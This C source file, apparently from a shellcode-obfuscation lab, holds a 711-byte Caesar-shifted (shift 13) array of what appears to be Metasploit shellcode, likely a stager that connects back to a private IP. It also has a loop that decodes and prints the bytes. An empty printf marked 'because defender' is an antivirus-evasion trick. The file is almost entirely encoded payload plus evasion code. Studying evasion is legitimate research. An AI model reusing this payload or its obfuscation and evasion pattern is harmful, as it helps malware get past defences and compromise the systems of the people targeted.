dobin-ShellcodeObfuscationLab/lab_results/metasploit/caesar_work.c

#include <windows.h>
#include <stdio.h>

int main(void)
{
	
	char caesar[711] = {0x9, 0x55, 0x90, 0xf1, 0xfd, 0xf5, 0xd9, 0xd, 0xd, 0xd, 0x4e, 0x5e, 0x4e, 0x5d, 0x5f, 0x55, 0x3e, 0xdf, 0x72, 0x55, 0x98, 0x5f, 0x6d, 0x55, 0x98, 0x5f, 0x25, 0x55, 0x98, 0x5f, 0x2d, 0x5e, 0x63, 0x55, 0x1c, 0xc4, 0x57, 0x57, 0x55, 0x98, 0x7f, 0x5d, 0x5a, 0x3e, 0xd6, 0x55, 0x3e, 0xcd, 0xb9, 0x49, 0x6e, 0x89, 0xf, 0x39, 0x2d, 0x4e, 0xce, 0xd6, 0x1a, 0x4e, 0xe, 0xce, 0xef, 0xfa, 0x5f, 0x55, 0x98, 0x5f, 0x2d, 0x98, 0x4f, 0x49, 0x4e, 0x5e, 0x55, 0xe, 0xdd, 0x73, 0x8e, 0x85, 0x25, 0x18, 0xf, 0x1c, 0x92, 0x7f, 0xd, 0xd, 0xd, 0x98, 0x8d, 0x95, 0xd, 0xd, 0xd, 0x55, 0x92, 0xcd, 0x81, 0x74, 0x55, 0xe, 0xdd, 0x51, 0x98, 0x4d, 0x2d, 0x56, 0xe, 0xdd, 0x98, 0x55, 0x25, 0x5d, 0xf0, 0x63, 0x55, 0xc, 0xd6, 0x4e, 0x98, 0x41, 0x95, 0x5a, 0x3e, 0xd6, 0x55, 0xe, 0xe3, 0x55, 0x3e, 0xcd, 0xb9, 0x4e, 0xce, 0xd6, 0x1a, 0x4e, 0xe, 0xce, 0x45, 0xed, 0x82, 0xfe, 0x59, 0x10, 0x59, 0x31, 0x15, 0x52, 0x46, 0xde, 0x82, 0xe5, 0x65, 0x51, 0x98, 0x4d, 0x31, 0x56, 0xe, 0xdd, 0x73, 0x4e, 0x98, 0x19, 0x55, 0x51, 0x98, 0x4d, 0x29, 0x56, 0xe, 0xdd, 0x4e, 0x98, 0x11, 0x95, 0x4e, 0x65, 0x4e, 0x65, 0x55, 0xe, 0xdd, 0x6b, 0x66, 0x67, 0x4e, 0x65, 0x4e, 0x66, 0x4e, 0x67, 0x55, 0x90, 0xf9, 0x2d, 0x4e, 0x5f, 0xc, 0xed, 0x65, 0x4e, 0x66, 0x67, 0x55, 0x98, 0x1f, 0xf6, 0x58, 0xc, 0xc, 0xc, 0x6a, 0x55, 0x3e, 0xe8, 0x60, 0x56, 0xcb, 0x84, 0x76, 0x7b, 0x76, 0x7b, 0x72, 0x81, 0xd, 0x4e, 0x63, 0x55, 0x96, 0xee, 0x56, 0xd4, 0xcf, 0x59, 0x84, 0x33, 0x14, 0xc, 0xe2, 0x60, 0x60, 0xf5, 0x7d, 0xd, 0xd, 0xd, 0x5a, 0x7c, 0x87, 0x76, 0x79, 0x79, 0x6e, 0x3c, 0x42, 0x3b, 0x3d, 0x2d, 0x35, 0x64, 0x76, 0x7b, 0x71, 0x7c, 0x84, 0x80, 0x2d, 0x5b, 0x61, 0x2d, 0x3e, 0x3d, 0x3b, 0x3d, 0x48, 0x2d, 0x64, 0x76, 0x7b, 0x43, 0x41, 0x48, 0x2d, 0x85, 0x43, 0x41, 0x36, 0x2d, 0x4e, 0x7d, 0x7d, 0x79, 0x72, 0x64, 0x72, 0x6f, 0x58, 0x76, 0x81, 0x3c, 0x42, 0x40, 0x44, 0x3b, 0x40, 0x43, 0x2d, 0x35, 0x58, 0x55, 0x61, 0x5a, 0x59, 0x39, 0x2d, 0x79, 0x76, 0x78, 0x72, 0x2d, 0x54, 0x72, 0x70, 0x78, 0x7c, 0x36, 0x2d, 0x50, 0x75, 0x7f, 0x7c, 0x7a, 0x72, 0x3c, 0x3e, 0x40, 0x3e, 0x3b, 0x3d, 0x3b, 0x3d, 0x3b, 0x3d, 0x2d, 0x60, 0x6e, 0x73, 0x6e, 0x7f, 0x76, 0x3c, 0x42, 0x40, 0x44, 0x3b, 0x40, 0x43, 0xd, 0x66, 0x60, 0x67, 0x5a, 0x3e, 0xcd, 0x5a, 0x3e, 0xd6, 0x60, 0x60, 0x56, 0xc7, 0x47, 0x63, 0x86, 0xb4, 0xd, 0xd, 0xd, 0xd, 0xc, 0xe2, 0xf5, 0x1d, 0xd, 0xd, 0xd, 0x3e, 0x46, 0x3f, 0x3b, 0x3e, 0x43, 0x45, 0x3b, 0x3e, 0x46, 0x3d, 0x3b, 0x3e, 0x40, 0x41, 0xd, 0x67, 0x55, 0x96, 0xce, 0x56, 0xd4, 0xcd, 0x5d, 0xd, 0xd, 0xd, 0x5a, 0x3e, 0xd6, 0x60, 0x60, 0x77, 0x10, 0x60, 0x56, 0xc7, 0x64, 0x96, 0xac, 0xd3, 0xd, 0xd, 0xd, 0xd, 0xc, 0xe2, 0xf5, 0x58, 0xd, 0xd, 0xd, 0x3c, 0x82, 0x84, 0x51, 0x76, 0x66, 0x5f, 0x5b, 0x7f, 0x70, 0x7a, 0x87, 0x5c, 0x44, 0x5a, 0x6c, 0x82, 0x7d, 0x80, 0x4e, 0x4f, 0x5d, 0x84, 0x77, 0x6c, 0x79, 0x7b, 0x76, 0x78, 0x41, 0x45, 0x44, 0x6c, 0x54, 0x6e, 0x4f, 0x3f, 0x60, 0x5a, 0x81, 0x72, 0x3e, 0x79, 0x77, 0x65, 0x73, 0x51, 0x5d, 0x81, 0x46, 0x46, 0x53, 0x6f, 0x81, 0x5e, 0x4e, 0x65, 0x42, 0x7e, 0x63, 0x6f, 0x3e, 0x5f, 0x76, 0x4e, 0x61, 0x57, 0x5c, 0x7b, 0x7e, 0x83, 0x85, 0x82, 0x3a, 0xd, 0x55, 0x96, 0xce, 0x60, 0x67, 0x4e, 0x65, 0x5a, 0x3e, 0xd6, 0x60, 0x55, 0xc5, 0xd, 0xf, 0x35, 0x91, 0xd, 0xd, 0xd, 0xd, 0x5d, 0x60, 0x60, 0x56, 0xd4, 0xcf, 0xf8, 0x62, 0x3b, 0x48, 0xc, 0xe2, 0x55, 0x96, 0xd3, 0x77, 0x17, 0x6c, 0x60, 0x67, 0x55, 0x96, 0xfe, 0x5a, 0x3e, 0xd6, 0x5a, 0x3e, 0xd6, 0x60, 0x60, 0x56, 0xd4, 0xcf, 0x3a, 0x13, 0x25, 0x88, 0xc, 0xe2, 0x92, 0xcd, 0x82, 0x2c, 0x55, 0xd4, 0xce, 0x95, 0x20, 0xd, 0xd, 0x56, 0xc7, 0x51, 0xfd, 0x42, 0xed, 0xd, 0xd, 0xd, 0xd, 0xc, 0xe2, 0x55, 0xc, 0xdc, 0x81, 0xf, 0xf8, 0xd9, 0xf5, 0x62, 0xd, 0xd, 0xd, 0x60, 0x66, 0x77, 0x4d, 0x67, 0x56, 0x96, 0xde, 0xce, 0xef, 0x1d, 0x56, 0xd4, 0xcd, 0xd, 0x1d, 0xd, 0xd, 0x56, 0xc7, 0x65, 0xb1, 0x60, 0xf2, 0xd, 0xd, 0xd, 0xd, 0xc, 0xe2, 0x55, 0xa0, 0x60, 0x60, 0x55, 0x96, 0xf4, 0x55, 0x96, 0xfe, 0x55, 0x96, 0xe7, 0x56, 0xd4, 0xcd, 0xd, 0x2d, 0xd, 0xd, 0x56, 0x96, 0x6, 0x56, 0xc7, 0x1f, 0xa3, 0x96, 0xef, 0xd, 0xd, 0xd, 0xd, 0xc, 0xe2, 0x55, 0x90, 0xd1, 0x2d, 0x92, 0xcd, 0x81, 0xbf, 0x73, 0x98, 0x14, 0x55, 0xe, 0xd0, 0x92, 0xcd, 0x82, 0xdf, 0x65, 0xd0, 0x65, 0x77, 0xd, 0x66, 0x56, 0xd4, 0xcf, 0xfd, 0xc2, 0xaf, 0x63, 0xc, 0xe2};unsigned char shellcode[711] = { 0x00 };

	for (int i = 0; i < sizeof(caesar); i++)
	{
		if ((caesar[i] - 13) < 0)
		{
			printf(""); // because defender
			shellcode[i] = caesar[i] + 256 - 13;
		}
		else
		{
			shellcode[i] = caesar[i] - 13;
		}
	}

	int idx = 0;
	while (idx < sizeof(shellcode))
	{
		if (idx == (sizeof(shellcode) - 1))
		{
			printf("0x%02x ", (unsigned char)shellcode[idx]);
		}
		else
		{
			printf("0x%02x, ", (unsigned char)shellcode[idx]);
		}
		idx++;
	}

	return 0;
}